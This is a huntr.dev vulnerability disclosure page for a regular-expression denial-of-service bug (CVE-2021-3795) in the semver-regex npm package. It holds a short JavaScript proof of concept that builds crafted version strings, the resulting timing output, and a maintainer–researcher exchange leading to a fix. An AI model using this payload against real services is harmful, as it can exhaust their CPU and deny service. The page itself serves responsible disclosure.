huntr

Inefficient Regular Expression Complexity in sindresorhus/semver-regex

0

✓ Valid Reported on Sep 10th 2021

✍️ Description

It allows cause a denial of service when formatting crafted invalid semver versions.

🕵️ Proof of Concept

```
// PoC.mjs
import semverRegex from 'semver-regex';

for(var i = 1; i <= 50000; i++) {
    var time = Date.now();
    var attack_str = '0.0.0-0' + '.-------'.repeat(i*1) + '@';
    semverRegex().test(attack_str );
    var time_cost = Date.now() - time;
    console.log("attack_str.length: " + attack_str.length + ": " + time_cos
}
```

Occurrences

JS index.js L2

CVE
CVE-2021-3795
(Published)

Vulnerability Type
CWE-1333: Inefficient Regular Expression Complexity

Severity
High (7.5)

Affected Version
*

Visibility
Public

Status
Fixed

Found by

Yeting Li
@yetingli
unranked

Fixed by

This report was seen 875 times.

We have contacted a member of the **sindresorhus/semver-regex** team and are waiting to hear back a year ago

A **sindresorhus/semver-regex** maintainer a year ago

@yetingli This is the second time you have been told to do a responsible closure. That means not submitting a pull request or open an issue until the report has been validated.

A **sindresorhus/semver-regex** maintainer a year ago

The severity in this report is also too high. The issue affects pretty much no one as `ansi-regex` is mostly used for command-line tools, not in servers.

A **sindresorhus/semver-regex** maintainer a year ago

Oops. Wrong report. I meant to comment this on: https://huntr.dev/bounties/5b3cf33b-ede0-4398-9974-800876dfd994/

Chat with us

A **sindresorhus/semver-regex** maintainer a year ago

I agree that the regex could be optimized, but I disagree that it's a vulnerability. If it's used with untrusted user input, it's up to the developer to limit the length to something reasonable. A semantic version is not meant to be very long either.

This is already made clear in the readme:

Note: For versions coming from user-input, it's up to you to truncate the string to a sensible length to prevent abuse. For example, 100 length.

Yeting Li a year ago Researcher

@Sindre Sorhus Thank you again. I just did a responsible closure on huntr.dev, but I accidentally pulled when I submitted the patch. Thank you again for your reminder!

Yeting Li a year ago Researcher

I agree. Limiting the length itself is a patch, and it is the most convenient.

Yeting Li a year ago Researcher

I would still like to suggest that you write the length limit in the code, not just in readme.

Yeting Li a year ago Researcher

By the way, even if the length is 100, the running time is very slow.
The running time is as follows.

```
attack_str.length: 16: 1 ms
attack_str.length: 24: 1 ms
attack_str.length: 32: 0 ms
attack_str.length: 40: 0 ms
attack_str.length: 48: 2 ms
attack_str.length: 56: 16 ms
attack_str.length: 64: 115 ms
attack_str.length: 72: 721 ms
attack_str.length: 80: 4416 ms
attack_str.length: 88: 31156 ms
attack_str.length: 96: 245440 ms
```

A **sindresorhus/semver-regex** maintainer a year ago

Alright. Fine. https://github.com/sindresorhus/semver-regex/releases/tag/v4.0.1

A **sindresorhus/semver-regex** maintainer validated this vulnerability a year ago

Yeting Li has been awarded the disclosure bounty ✓

The fix bounty is now up for grabs

Yeting Li a year ago Researcher

Thank you for your confirmation@Sindre Sorhus.

Jamie Slome a year ago Admin

@maintainer - are we able to `confirm the fix` here, and we can go ahead and publish a CVE for you?

Thanks!

A **sindresorhus/semver-regex** maintainer marked this as fixed with commit **11c662** a year ago

A ghost has been awarded the fix bounty ✓

This vulnerability will not receive a CVE ✗

index.js#L2 has been validated ✓

A **sindresorhus/semver-regex** maintainer a year ago

Done.

Note that the fix was back-ported to 3.1.3

Jamie Slome a year ago Admin

Awesome, thanks!

I have kicked off the CVE assignment process! 🎉🎉

Jamie Slome a year ago Admin

CVE published!

Yeting Li a year ago Researcher

Thanks!

Sign in to join this conversation